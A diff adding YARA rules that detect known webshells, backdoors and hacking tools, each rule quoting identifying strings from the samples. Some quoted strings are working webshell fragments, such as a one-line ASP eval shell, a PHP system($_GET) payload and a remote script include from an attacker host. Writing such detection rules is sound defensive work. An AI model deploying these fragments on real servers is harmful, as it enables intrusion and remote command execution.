+		$s2 = "echo \"<br>\".ws(2).\"HDD Free : <b>\".view_size($free).\"</b> HDD Total : <b>\".view_"
+	condition:
+		all of them
+}
+rule Mithril_v1_45_dllTest {
+	meta:
+		description = "Webshells Auto-generated - file dllTest.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "1b9e518aaa62b15079ff6edb412b21e9"
+	strings:
+		$s3 = "syspath"
+		$s4 = "\\Mithril"
+		$s5 = "--list the services in the computer"
+	condition:
+		all of them
+}
+rule dbgiis6cli {
+	meta:
+		description = "Webshells Auto-generated - file dbgiis6cli.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "3044dceb632b636563f66fee3aaaf8f3"
+	strings:
+		$s0 = "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
+		$s5 = "###command:(NO more than 100 bytes!)"
+	condition:
+		all of them
+}
+rule remview_2003_04_22 {
+	meta:
+		description = "Webshells Auto-generated - file remview_2003_04_22.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "17d3e4e39fbca857344a7650f7ea55e3"
+	strings:
+		$s1 = "\"<b>\".mm(\"Eval PHP code\").\"</b> (\".mm(\"don't type\").\" \\\"&lt;?\\\""
+	condition:
+		all of them
+}
+rule FSO_s_test {
+	meta:
+		description = "Webshells Auto-generated - file test.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "82cf7b48da8286e644f575b039a99c26"
+	strings:
+		$s0 = "$yazi = \"test\" . \"\\r\\n\";"
+		$s2 = "fwrite ($fp, \"$yazi\");"
+	condition:
+		all of them
+}
+rule Debug_cress {
+	meta:
+		description = "Webshells Auto-generated - file cress.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "36a416186fe010574c9be68002a7286a"
+	strings:
+		$s0 = "\\Mithril "
+		$s4 = "Mithril.exe"
+	condition:
+		all of them
+}
+rule webshell {
+	meta:
+		description = "Webshells Auto-generated - file webshell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "f2f8c02921f29368234bfb4d4622ad19"
+	strings:
+		$s0 = "RhViRYOzz"
+		$s1 = "d\\O!jWW"
+		$s2 = "bc!jWW"
+		$s3 = "0W[&{l"
+		$s4 = "[INhQ@\\"
+	condition:
+		all of them
+}
+rule FSO_s_EFSO_2 {
+	meta:
+		description = "Webshells Auto-generated - file EFSO_2.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "a341270f9ebd01320a7490c12cb2e64c"
+	strings:
+		$s0 = ";!+/DRknD7+.\\mDrC(V+kcJznndm\\f|nzKuJb'r@!&0KUY@*Jb@#@&Xl\"dKVcJ\\CslU,),@!0KxD~mKV"
+		$s4 = "\\co!VV2CDtSJ'E*#@#@&mKx/DP14lM/nY{JC81N+6LtbL3^hUWa;M/OE-AXX\"b~/fAs!u&9|J\\grKp\"j"
+	condition:
+		all of them
+}
+rule thelast_index3 {
+	meta:
+		description = "Webshells Auto-generated - file index3.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "cceff6dc247aaa25512bad22120a14b4"
+	strings:
+		$s5 = "$err = \"<i>Your Name</i> Not Entered!</font></h2>Sorry, \\\"Your Name\\\" field is r"
+	condition:
+		all of them
+}
+rule adjustcr {
+	meta:
+		description = "Webshells Auto-generated - file adjustcr.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "17037fa684ef4c90a25ec5674dac2eb6"
+	strings:
+		$s0 = "$Info: This file is packed with the UPX executable packer $"
+		$s2 = "$License: NRV for UPX is distributed under special license $"
+		$s6 = "AdjustCR Carr"
+		$s7 = "ION\\System\\FloatingPo"
+	condition:
+		all of them
+}
+rule FeliksPack3___PHP_Shells_xIShell {
+	meta:
+		description = "Webshells Auto-generated - file xIShell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "997c8437c0621b4b753a546a53a88674"
+	strings:
+		$s3 = "if (!$nix) { $xid = implode(explode(\"\\\\\",$xid),\"\\\\\\\\\");}echo (\"<td><a href='Java"
+	condition:
+		all of them
+}
+rule HYTop_AppPack_2005 {
+	meta:
+		description = "Webshells Auto-generated - file 2005.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "63d9fd24fa4d22a41fc5522fc7050f9f"
+	strings:
+		$s6 = "\" onclick=\"this.form.sqlStr.value='e:\\hytop.mdb"
+	condition:
+		all of them
+}
+rule xssshell {
+	meta:
+		description = "Webshells Auto-generated - file xssshell.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "8fc0ffc5e5fbe85f7706ffc45b3f79b4"
+	strings:
+		$s1 = "if( !getRequest(COMMANDS_URL + \"?v=\" + VICTIM + \"&r=\" + generateID(), \"pushComma"
+	condition:
+		all of them
+}
+rule FeliksPack3___PHP_Shells_usr {
+	meta:
+		description = "Webshells Auto-generated - file usr.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "ade3357520325af50c9098dc8a21a024"
+	strings:
+		$s0 = "<?php $id_info = array('notify' => 'off','sub' => 'aasd','s_name' => 'nurullahor"
+	condition:
+		all of them
+}
+rule FSO_s_phpinj {
+	meta:
+		description = "Webshells Auto-generated - file phpinj.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "dd39d17e9baca0363cc1c3664e608929"
+	strings:
+		$s4 = "echo '<a href='.$expurl.'> Click Here to Exploit </a> <br />';"
+	condition:
+		all of them
+}
+rule xssshell_db {
+	meta:
+		description = "Webshells Auto-generated - file db.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "cb62e2ec40addd4b9930a9e270f5b318"
+	strings:
+		$s8 = "'// By Ferruh Mavituna | http://ferruh.mavituna.com"
+	condition:
+		all of them
+}
+rule PHP_sh {
+	meta:
+		description = "Webshells Auto-generated - file sh.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "1e9e879d49eb0634871e9b36f99fe528"
+	strings:
+		$s1 = "\"@$SERVER_NAME \".exec(\"pwd\")"
+	condition:
+		all of them
+}
+rule xssshell_default {
+	meta:
+		description = "Webshells Auto-generated - file default.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "d156782ae5e0b3724de3227b42fcaf2f"
+	strings:
+		$s3 = "If ProxyData <> \"\" Then ProxyData = Replace(ProxyData, DATA_SEPERATOR, \"<br />\")"
+	condition:
+		all of them
+}
+rule EditServer_2 {
+	meta:
+		description = "Webshells Auto-generated - file EditServer.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "5c1f25a4d206c83cdfb006b3eb4c09ba"
+	strings:
+		$s0 = "@HOTMAIL.COM"
+		$s1 = "Press Any Ke"
+		$s3 = "glish MenuZ"
+	condition:
+		all of them
+}
+rule by064cli {
+	meta:
+		description = "Webshells Auto-generated - file by064cli.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "10e0dff366968b770ae929505d2a9885"
+	strings:
+		$s7 = "packet dropped,redirecting"
+		$s9 = "input the password(the default one is 'by')"
+	condition:
+		all of them
+}
+rule Mithril_dllTest {
+	meta:
+		description = "Webshells Auto-generated - file dllTest.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "a8d25d794d8f08cd4de0c3d6bf389e6d"
+	strings:
+		$s0 = "please enter the password:"
+		$s3 = "\\dllTest.pdb"
+	condition:
+		all of them
+}
+rule peek_a_boo {
+	meta:
+		description = "Webshells Auto-generated - file peek-a-boo.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "aca339f60d41fdcba83773be5d646776"
+	strings:
+		$s0 = "__vbaHresultCheckObj"
+		$s1 = "\\VB\\VB5.OLB"
+		$s2 = "capGetDriverDescriptionA"
+		$s3 = "__vbaExceptHandler"
+		$s4 = "EVENT_SINK_Release"
+		$s8 = "__vbaErrorOverflow"
+	condition:
+		all of them
+}
+rule fmlibraryv3 {
+	meta:
+		description = "Webshells Auto-generated - file fmlibraryv3.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "c34c248fed6d5a20d8203924a2088acc"
+	strings:
+		$s3 = "ExeNewRs.CommandText = \"UPDATE \" & tablename & \" SET \" & ExeNewRsValues & \" WHER"
+	condition:
+		all of them
+}
+rule Debug_dllTest_2 {
+	meta:
+		description = "Webshells Auto-generated - file dllTest.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "1b9e518aaa62b15079ff6edb412b21e9"
+	strings:
+		$s4 = "\\Debug\\dllTest.pdb"
+		$s5 = "--list the services in the computer"
+	condition:
+		all of them
+}
+rule connector {
+	meta:
+		description = "Webshells Auto-generated - file connector.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "3ba1827fca7be37c8296cd60be9dc884"
+	strings:
+		$s2 = "If ( AttackID = BROADCAST_ATTACK )"
+		$s4 = "Add UNIQUE ID for victims / zombies"
+	condition:
+		all of them
+}
+rule shelltools_g0t_root_HideRun {
+	meta:
+		description = "Webshells Auto-generated - file HideRun.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "45436d9bfd8ff94b71eeaeb280025afe"
+	strings:
+		$s0 = "Usage -- hiderun [AppName]"
+		$s7 = "PVAX SW, Alexey A. Popoff, Moscow, 1997."
+	condition:
+		all of them
+}
+rule regshell {
+	meta:
+		description = "Webshells Auto-generated - file regshell.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "db2fdc821ca6091bab3ebd0d8bc46ded"
+	strings:
+		$s0 = "Changes the base hive to HKEY_CURRENT_USER."
+		$s4 = "Displays a list of values and sub-keys in a registry Hive."
+		$s5 = "Enter a menu selection number (1 - 3) or 99 to Exit: "
+	condition:
+		all of them
+}
+rule PHP_Shell_v1_7 {
+	meta:
+		description = "Webshells Auto-generated - file PHP_Shell_v1.7.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b5978501c7112584532b4ca6fb77cba5"
+	strings:
+		$s8 = "<title>[ADDITINAL TITTLE]-phpShell by:[YOURNAME]"
+	condition:
+		all of them
+}
+rule xssshell_save {
+	meta:
+		description = "Webshells Auto-generated - file save.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "865da1b3974e940936fe38e8e1964980"
+	strings:
+		$s4 = "RawCommand = Command & COMMAND_SEPERATOR & Param & COMMAND_SEPERATOR & AttackID"
+		$s5 = "VictimID = fm_NStr(Victims(i))"
+	condition:
+		all of them
+}
+rule screencap {
+	meta:
+		description = "Webshells Auto-generated - file screencap.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "51139091dea7a9418a50f2712ea72aa6"
+	strings:
+		$s0 = "GetDIBColorTable"
+		$s1 = "Screen.bmp"
+		$s2 = "CreateDCA"
+	condition:
+		all of them
+}
+rule FSO_s_phpinj_2 {
+	meta:
+		description = "Webshells Auto-generated - file phpinj.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "dd39d17e9baca0363cc1c3664e608929"
+	strings:
+		$s9 = "<? system(\\$_GET[cpc]);exit; ?>' ,0 ,0 ,0 ,0 INTO"
+	condition:
+		all of them
+}
+rule ZXshell2_0_rar_Folder_zxrecv {
+	meta:
+		description = "Webshells Auto-generated - file zxrecv.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "5d3d12a39f41d51341ef4cb7ce69d30f"
+	strings:
+		$s0 = "RyFlushBuff"
+		$s1 = "teToWideChar^FiYP"
+		$s2 = "mdesc+8F D"
+		$s3 = "\\von76std"
+		$s4 = "5pur+virtul"
+		$s5 = "- Kablto io"
+		$s6 = "ac#f{lowi8a"
+	condition:
+		all of them
+}
+rule FSO_s_ajan {
+	meta:
+		description = "Webshells Auto-generated - file ajan.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "22194f8c44524f80254e1b5aec67b03e"
+	strings:
+		$s4 = "entrika.write \"BinaryStream.SaveToFile"
+	condition:
+		all of them
+}
+rule c99shell {
+	meta:
+		description = "Webshells Auto-generated - file c99shell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "90b86a9c63e2cd346fe07cea23fbfc56"
+	strings:
+		$s0 = "<br />Input&nbsp;URL:&nbsp;&lt;input&nbsp;name=\\\"uploadurl\\\"&nbsp;type=\\\"text\\\"&"
+	condition:
+		all of them
+}
+rule phpspy_2005_full {
+	meta:
+		description = "Webshells Auto-generated - file phpspy_2005_full.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "d1c69bb152645438440e6c903bac16b2"
+	strings:
+		$s7 = "echo \"  <td align=\\\"center\\\" nowrap valign=\\\"top\\\"><a href=\\\"?downfile=\".urlenco"
+	condition:
+		all of them
+}
+rule FSO_s_zehir4_2 {
+	meta:
+		description = "Webshells Auto-generated - file zehir4.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "5b496a61363d304532bcf52ee21f5d55"
+	strings:
+		$s4 = "\"Program Files\\Serv-u\\Serv"
+	condition:
+		all of them
+}
+rule httpdoor {
+	meta:
+		description = "Webshells Auto-generated - file httpdoor.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "6097ea963455a09474471a9864593dc3"
+	strings:
+		$s4 = "''''''''''''''''''DaJKHPam"
+		$s5 = "o,WideCharR]!n]"
+		$s6 = "HAutoComplete"
+		$s7 = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?> <assembly xmlns=\"urn:sch"
+	condition:
+		all of them
+}
+rule FSO_s_indexer_2 {
+	meta:
+		description = "Webshells Auto-generated - file indexer.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "135fc50f85228691b401848caef3be9e"
+	strings:
+		$s5 = "<td>Nerden :<td><input type=\"text\" name=\"nerden\" size=25 value=index.html></td>"
+	condition:
+		all of them
+}
+rule HYTop_DevPack_2005 {
+	meta:
+		description = "Webshells Auto-generated - file 2005.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "63d9fd24fa4d22a41fc5522fc7050f9f"
+	strings:
+		$s7 = "theHref=encodeForUrl(mid(replace(lcase(list.path),lcase(server.mapPath(\"/\")),\"\")"
+		$s8 = "scrollbar-darkshadow-color:#9C9CD3;"
+		$s9 = "scrollbar-face-color:#E4E4F3;"
+	condition:
+		all of them
+}
+rule _root_040_zip_Folder_deploy {
+	meta:
+		description = "Webshells Auto-generated - file deploy.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "2c9f9c58999256c73a5ebdb10a9be269"
+	strings:
+		$s5 = "halon synscan 127.0.0.1 1-65536"
+		$s8 = "Obviously you replace the ip address with that of the target."
+
+	condition:
+		all of them
+}
+rule by063cli {
+	meta:
+		description = "Webshells Auto-generated - file by063cli.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "49ce26eb97fd13b6d92a5e5d169db859"
+	strings:
+		$s2 = "#popmsghello,are you all right?"
+		$s4 = "connect failed,check your network and remote ip."
+	condition:
+		all of them
+}
+rule icyfox007v1_10_rar_Folder_asp {
+	meta:
+		description = "Webshells Auto-generated - file asp.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "2c412400b146b7b98d6e7755f7159bb9"
+	strings:
+		$s0 = "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('#')+'')</SCRIPT>"
+	condition:
+		all of them
+}
+rule FSO_s_EFSO_2_2 {
+	meta:
+		description = "Webshells Auto-generated - file EFSO_2.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "a341270f9ebd01320a7490c12cb2e64c"
+	strings:
+		$s0 = ";!+/DRknD7+.\\mDrC(V+kcJznndm\\f|nzKuJb'r@!&0KUY@*Jb@#@&Xl\"dKVcJ\\CslU,),@!0KxD~mKV"
+		$s4 = "\\co!VV2CDtSJ'E*#@#@&mKx/DP14lM/nY{JC81N+6LtbL3^hUWa;M/OE-AXX\"b~/fAs!u&9|J\\grKp\"j"
+	condition:
+		all of them
+}
+rule byshell063_ntboot_2 {
+	meta:
+		description = "Webshells Auto-generated - file ntboot.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "cb9eb5a6ff327f4d6c46aacbbe9dda9d"
+	strings:
+		$s6 = "OK,job was done,cuz we have localsystem & SE_DEBUG_NAME:)"
+	condition:
+		all of them
+}
+rule u_uay {
+	meta:
+		description = "Webshells Auto-generated - file uay.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "abbc7b31a24475e4c5d82fc4c2b8c7c4"
+	strings:
+		$s1 = "exec \"c:\\WINDOWS\\System32\\freecell.exe"
+		$s9 = "SYSTEM\\CurrentControlSet\\Services\\uay.sys\\Security"
+	condition:
+		1 of them
+}
+rule bin_wuaus {
+	meta:
+		description = "Webshells Auto-generated - file wuaus.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "46a365992bec7377b48a2263c49e4e7d"
+	strings:
+		$s1 = "9(90989@9V9^9f9n9v9"
+		$s2 = ":(:,:0:4:8:C:H:N:T:Y:_:e:o:y:"
+		$s3 = ";(=@=G=O=T=X=\\="
+		$s4 = "TCP Send Error!!"
+		$s5 = "1\"1;1X1^1e1m1w1~1"
+		$s8 = "=$=)=/=<=Y=_=j=p=z="
+	condition:
+		all of them
+}
+rule pwreveal {
+	meta:
+		description = "Webshells Auto-generated - file pwreveal.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b4e8447826a45b76ca45ba151a97ad50"
+	strings:
+		$s0 = "*<Blank - no es"
+		$s3 = "JDiamondCS "
+		$s8 = "sword set> [Leith=0 bytes]"
+		$s9 = "ION\\System\\Floating-"
+	condition:
+		all of them
+}
+rule shelltools_g0t_root_xwhois {
+	meta:
+		description = "Webshells Auto-generated - file xwhois.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "0bc98bd576c80d921a3460f8be8816b4"
+	strings:
+		$s1 = "rting! "
+		$s2 = "aTypCog("
+		$s5 = "Diamond"
+		$s6 = "r)r=rQreryr"
+	condition:
+		all of them
+}
+rule vanquish_2 {
+	meta:
+		description = "Webshells Auto-generated - file vanquish.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "2dcb9055785a2ee01567f52b5a62b071"
+	strings:
+		$s2 = "Vanquish - DLL injection failed:"
+	condition:
+		all of them
+}
+rule down_rar_Folder_down {
+	meta:
+		description = "Webshells Auto-generated - file down.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "db47d7a12b3584a2e340567178886e71"
+	strings:
+		$s0 = "response.write \"<font color=blue size=2>NetBios Name: \\\\\"  & Snet.ComputerName &"
+	condition:
+		all of them
+}
+rule cmdShell {
+	meta:
+		description = "Webshells Auto-generated - file cmdShell.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "8a9fef43209b5d2d4b81dfbb45182036"
+	strings:
+		$s1 = "if cmdPath=\"wscriptShell\" then"
+	condition:
+		all of them
+}
+rule ZXshell2_0_rar_Folder_nc {
+	meta:
+		description = "Webshells Auto-generated - file nc.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "2cd1bf15ae84c5f6917ddb128827ae8b"
+	strings:
+		$s0 = "WSOCK32.dll"
+		$s1 = "?bSUNKNOWNV"
+		$s7 = "p@gram Jm6h)"
+		$s8 = "ser32.dllCONFP@"
+	condition:
+		all of them
+}
+rule portlessinst {
+	meta:
+		description = "Webshells Auto-generated - file portlessinst.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "74213856fc61475443a91cd84e2a6c2f"
+	strings:
+		$s2 = "Fail To Open Registry"
+		$s3 = "f<-WLEggDr\""
+		$s6 = "oMemoryCreateP"
+	condition:
+		all of them
+}
+rule SetupBDoor {
+	meta:
+		description = "Webshells Auto-generated - file SetupBDoor.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "41f89e20398368e742eda4a3b45716b6"
+	strings:
+		$s1 = "\\BDoor\\SetupBDoor"
+	condition:
+		all of them
+}
+rule phpshell_3 {
+	meta:
+		description = "Webshells Auto-generated - file phpshell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "e8693a2d4a2ffea4df03bb678df3dc6d"
+	strings:
+		$s3 = "<input name=\"submit_btn\" type=\"submit\" value=\"Execute Command\"></p>"
+		$s5 = "      echo \"<option value=\\\"$work_dir\\\" selected>Current Directory</option>\\n\";"
+	condition:
+		all of them
+}
+rule BIN_Server {
+	meta:
+		description = "Webshells Auto-generated - file Server.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "1d5aa9cbf1429bb5b8bf600335916dcd"
+	strings:
+		$s0 = "configserver"
+		$s1 = "GetLogicalDrives"
+		$s2 = "WinExec"
+		$s4 = "fxftest"
+		$s5 = "upfileok"
+		$s7 = "upfileer"
+	condition:
+		all of them
+}
+rule HYTop2006_rar_Folder_2006 {
+	meta:
+		description = "Webshells Auto-generated - file 2006.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "c19d6f4e069188f19b08fa94d44bc283"
+	strings:
+		$s6 = "strBackDoor = strBackDoor "
+	condition:
+		all of them
+}
+rule r57shell_3 {
+	meta:
+		description = "Webshells Auto-generated - file r57shell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "87995a49f275b6b75abe2521e03ac2c0"
+	strings:
+		$s1 = "<b>\".$_POST['cmd']"
+	condition:
+		all of them
+}
+rule HDConfig {
+	meta:
+		description = "Webshells Auto-generated - file HDConfig.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "7d60e552fdca57642fd30462416347bd"
+	strings:
+		$s0 = "An encryption key is derived from the password hash. "
+		$s3 = "A hash object has been created. "
+		$s4 = "Error during CryptCreateHash!"
+		$s5 = "A new key container has been created."
+		$s6 = "The password has been added to the hash. "
+	condition:
+		all of them
+}
+rule FSO_s_ajan_2 {
+	meta:
+		description = "Webshells Auto-generated - file ajan.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "22194f8c44524f80254e1b5aec67b03e"
+	strings:
+		$s2 = "\"Set WshShell = CreateObject(\"\"WScript.Shell\"\")"
+		$s3 = "/file.zip"
+	condition:
+		all of them
+}
+
+rule Webshell_and_Exploit_CN_APT_HK : Webshell
+{
+meta:
+	author = "Florian Roth"
+	description = "Webshell and Exploit Code in relation with APT against Honk Kong protesters"
+	date = "10.10.2014"
+	score = 50
+strings:
+	$a0 = "<script language=javascript src=http://java-se.com/o.js</script>" fullword
+	$s0 = "<span style=\"font:11px Verdana;\">Password: </span><input name=\"password\" type=\"password\" size=\"20\">"
+	$s1 = "<input type=\"hidden\" name=\"doing\" value=\"login\">"
+condition:
+	$a0 or ( all of ($s*) )
+}
+
+rule JSP_Browser_APT_webshell {
+	meta:
+		description = "VonLoesch JSP Browser used as web shell by APT groups - jsp File browser 1.1a"
+		author = "F.Roth"
+		date = "10.10.2014"
+		score = 60
+	strings:
+		$a1a = "private static final String[] COMMAND_INTERPRETER = {\"" ascii
+		$a1b = "cmd\", \"/C\"}; // Dos,Windows" ascii
+		$a2 = "Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(dir));" ascii
+		$a3 = "ret.append(\"!!!! Process has timed out, destroyed !!!!!\");" ascii
+	condition:
+		all of them
+}
+
+rule JSP_jfigueiredo_APT_webshell {
+	meta:
+		description = "JSP Browser used as web shell by APT groups - author: jfigueiredo"
+		author = "F.Roth"
+		date = "12.10.2014"
+		score = 60
+		reference = "http://ceso.googlecode.com/svn/web/bko/filemanager/Browser.jsp"
+	strings:
+		$a1 = "String fhidden = new String(Base64.encodeBase64(path.getBytes()));" ascii
+		$a2 = "<form id=\"upload\" name=\"upload\" action=\"ServFMUpload\" method=\"POST\" enctype=\"multipart/form-data\">" ascii
+	condition:
+		all of them
+}
+
+rule JSP_jfigueiredo_APT_webshell_2 {
+	meta:
+		description = "JSP Browser used as web shell by APT groups - author: jfigueiredo"
+		author = "F.Roth"
+		date = "12.10.2014"
+		score = 60
+		reference = "http://ceso.googlecode.com/svn/web/bko/filemanager/"
+	strings:
+		$a1 = "<div id=\"bkorotator\"><img alt=\"\" src=\"images/rotator/1.jpg\"></div>" ascii
+		$a2 = "$(\"#dialog\").dialog(\"destroy\");" ascii
+		$s1 = "<form id=\"form\" action=\"ServFMUpload\" method=\"post\" enctype=\"multipart/form-data\">" ascii
+		$s2 = "<input type=\"hidden\" id=\"fhidden\" name=\"fhidden\" value=\"L3BkZi8=\" />" ascii
+	condition:
+		all of ($a*) or all of ($s*)
+}
+
+rule AJAX_FileUpload_webshell {
+	meta:
+		description = "AJAX JS/CSS components providing web shell by APT groups"
+		author = "F.Roth"
+		date = "12.10.2014"
+		score = 75
+		reference = "http://ceso.googlecode.com/svn/web/bko/filemanager/ajaxfileupload.js"
+	strings:
+		$a1 = "var frameId = 'jUploadFrame' + id;" ascii
+		$a2 = "var form = jQuery('<form  action=\"\" method=\"POST\" name=\"' + formId + '\" id=\"' + formId + '\" enctype=\"multipart/form-data\"></form>');" ascii
+		$a3 = "jQuery(\"<div>\").html(data).evalScripts();" ascii
+	condition:
+		all of them
+}
+
+rule Webshell_Insomnia {
+	meta:
+		description = "Insomnia Webshell - file InsomniaShell.aspx"
+		author = "Florian Roth"
+		reference = "http://www.darknet.org.uk/2014/12/insomniashell-asp-net-reverse-shell-bind-shell/"
+		date = "2014/12/09"
+		hash = "e0cfb2ffaa1491aeaf7d3b4ee840f72d42919d22"
+		score = 80
+	strings:
+		$s0 = "Response.Write(\"- Failed to create named pipe:\");" fullword ascii
+		$s1 = "Response.Output.Write(\"+ Sending {0}<br>\", command);" fullword ascii
+		$s2 = "String command = \"exec master..xp_cmdshell 'dir > \\\\\\\\127.0.0.1" ascii
+		$s3 = "Response.Write(\"- Error Getting User Info<br>\");" fullword ascii
+		$s4 = "string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes," fullword ascii
+		$s5 = "[DllImport(\"Advapi32.dll\", SetLastError = true)]" fullword ascii
+		$s9 = "username = DumpAccountSid(tokUser.User.Sid);" fullword ascii
+		$s14 = "//Response.Output.Write(\"Opened process PID: {0} : {1}<br>\", p" ascii
+	condition:
+		3 of them
+}
+
+rule HawkEye_PHP_Panel {
+	meta:
+		description = "Detects HawkEye Keyloggers PHP Panel"
+		author = "Florian Roth"
+		date = "2014/12/14"
+		score = 60
+	strings:
+		$s0 = "$fname = $_GET['fname'];" ascii fullword
+		$s1 = "$data = $_GET['data'];" ascii fullword
+		$s2 = "unlink($fname);" ascii fullword
+		$s3 = "echo \"Success\";" fullword ascii
+	condition:
+		all of ($s*) and filesize < 600
+}
+
+rule SoakSoak_Infected_Wordpress {
+	meta:
+		description = "Detects a SoakSoak infected Wordpress site http://goo.gl/1GzWUX"
+		reference = "http://goo.gl/1GzWUX"
+		author = "Florian Roth"
+		date = "2014/12/15"
+		score = 60
+	strings:
+		$s0 = "wp_enqueue_script(\"swfobject\");" ascii fullword
+		$s1 = "function FuncQueueObject()" ascii fullword
+		$s2 = "add_action(\"wp_enqueue_scripts\", 'FuncQueueObject');" ascii fullword
+	condition:
+		all of ($s*)
+}
+
+rule Pastebin_Webshell {
+	meta:
+		description = "Detects a web shell that downloads content from pastebin.com http://goo.gl/7dbyZs"
+		author = "Florian Roth"
+		score = 70
+		date = "13.01.2015"
+		reference = "http://goo.gl/7dbyZs"
+	strings:
+		$s0 = "file_get_contents(\"http://pastebin.com" ascii
+		$s1 = "xcurl('http://pastebin.com/download.php" ascii
+		$s2 = "xcurl('http://pastebin.com/raw.php" ascii
+
+		$x0 = "if($content){unlink('evex.php');" ascii
+		$x1 = "$fh2 = fopen(\"evex.php\", 'a');" ascii
+
+		$y0 = "file_put_contents($pth" ascii
+		$y1 = "echo \"<login_ok>" ascii
+		$y2 = "str_replace('* @package Wordpress',$temp" ascii
+	condition:
+		1 of ($s*) or all of ($x*) or all of ($y*)
+}
+
+rule ASPXspy2 {
+	meta:
+		description = "Web shell - file ASPXspy2.aspx"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/01/24"
+		hash = "5642387d92139bfe9ae11bfef6bfe0081dcea197"
+	strings:
+		$s0 = "string iVDT=\"-SETUSERSETUP\\r\\n-IP=0.0.0.0\\r\\n-PortNo=52521\\r\\n-User=bin" ascii
+		$s1 = "SQLExec : <asp:DropDownList runat=\"server\" ID=\"FGEy\" AutoPostBack=\"True\" O" ascii
+		$s3 = "Process[] p=Process.GetProcesses();" fullword ascii
+		$s4 = "Response.Cookies.Add(new HttpCookie(vbhLn,Password));" fullword ascii
+		$s5 = "[DllImport(\"kernel32.dll\",EntryPoint=\"GetDriveTypeA\")]" fullword ascii
+		$s6 = "<p>ConnString : <asp:TextBox id=\"MasR\" style=\"width:70%;margin:0 8px;\" CssCl" ascii
+		$s7 = "ServiceController[] kQmRu=System.ServiceProcess.ServiceController.GetServices();" fullword ascii
+		$s8 = "Copyright &copy; 2009 Bin -- <a href=\"http://www.rootkit.net.cn\" target=\"_bla" ascii
+		$s10 = "Response.AddHeader(\"Content-Disposition\",\"attachment;filename=\"+HttpUtility." ascii
+		$s11 = "nxeDR.Command+=new CommandEventHandler(this.iVk);" fullword ascii
+		$s12 = "<%@ import Namespace=\"System.ServiceProcess\"%>" fullword ascii
+		$s13 = "foreach(string innerSubKey in sk.GetSubKeyNames())" fullword ascii
+		$s17 = "Response.Redirect(\"http://www.rootkit.net.cn\");" fullword ascii
+		$s20 = "else if(Reg_Path.StartsWith(\"HKEY_USERS\"))" fullword ascii
+	condition:
+		6 of them
+}
+
